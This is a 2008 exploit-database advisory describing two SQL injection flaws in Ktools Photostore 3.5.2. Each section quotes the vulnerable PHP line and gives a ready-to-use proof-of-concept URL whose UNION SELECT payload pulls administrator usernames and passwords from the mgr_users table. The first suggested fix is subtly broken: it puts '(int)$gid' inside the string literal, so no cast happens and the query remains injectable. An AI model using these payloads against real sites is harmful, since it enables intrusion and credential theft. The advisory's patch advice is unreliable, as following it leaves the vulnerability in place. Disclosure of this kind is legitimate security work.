Ktools Photostore 3.5.2 - Multiple SQL Injections


Author:

DNX

Type:

webapps

Platform:

PHP

Published:

2008-05-10

                                 \#'#/
                                 (-.-)
   -------------------------oOO---(_)---OOo-------------------------
   | Ktools Photostore <= v3.5.2 (crumbs.php) Remote SQL Injection |
   |              (works only with magic quotes = off)             |
   |                         coded by DNX                          |
   -----------------------------------------------------------------
[!] Discovered.: DNX
[!] Vendor.....: http://www.ktools.net
[!] Detected...: 27.04.2008
[!] Reported...: 29.04.2008
[!] Response...: xx.xx.2008

[!] Background.: PhotoStore allows you to setup a complete photo selling 
                 website on your server or hosting space in just minutes.

[!] Price......: $295 Oo.

[!] Bug........: $_GET['gid'] in crumbs.php near line 11

                 05: if($_GET['gid']){
                 
                 08:   function crumbs($gid){
                 09:     global $db, $crumb_array_name, $crumb_array_id;
                 10:     
                 11:     $ca_result = mysql_query("SELECT id,title,nest_under FROM photo_galleries where id = '$gid'", $db);
                 
                 23:   crumbs($_GET['gid']);

                 A direct request on 'crumbs.php' doesn't work, because there is no valid database resource. So we have to look
                 where 'crumbs.php' is included by an other script. In 'about_us.php' for example.

[!] Tested on..: v3.4.3, v3.5.2

[!] PoC........: http://127.0.0.1/photostore/about_us.php?gid=0'%20union%20select%201,concat(username,0x2f,password),3%20from%20mgr_users%20/*

[!] Solution...: Replace the unsecure codeline with:

                 $ca_result = mysql_query("SELECT id,title,nest_under FROM photo_galleries where id = '(int)$gid'", $db);



                                        \#'#/
                                        (-.-)
   --------------------------------oOO---(_)---OOo--------------------------------
   | Ktools Photostore <= v3.5.2 (image_details_editor.php) Remote SQL Injection |
   |                                coded by DNX                                 |
   -------------------------------------------------------------------------------
[!] Discovered.: DNX
[!] Vendor.....: http://www.ktools.net
[!] Detected...: 26.04.2008
[!] Reported...: 28.04.2008
[!] Response...: 29.04.2008

[!] Background.: PhotoStore allows you to setup a complete photo selling 
                 website on your server or hosting space in just minutes.

[!] Price......: $295 Oo.

[!] Bug........: $_GET['id'] in manager/image_details_editor.php near line 60

                 $image_result = mysql_query("SELECT * FROM uploaded_images where id =" . $_GET['id'], $db);

[!] Tested on..: v2.5, v2.9.8, v3.1.0, v3.1.1, v3.2.0, v3.2.1, v3.4.0, v3.4.2, v3.4.3, v3.5.0, v3.5.1, v3.5.2

[!] PoC........: http://127.0.0.1/photostore/manager/image_details_editor.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,username,11,12,13,password,15,16%20FROM%20mgr_users

[!] Solution...: Replace the unsecure codeline with:

                 $image_result = mysql_query("SELECT * FROM uploaded_images where id =" . (int)$_GET['id'], $db);

# milw0rm.com [2008-05-10]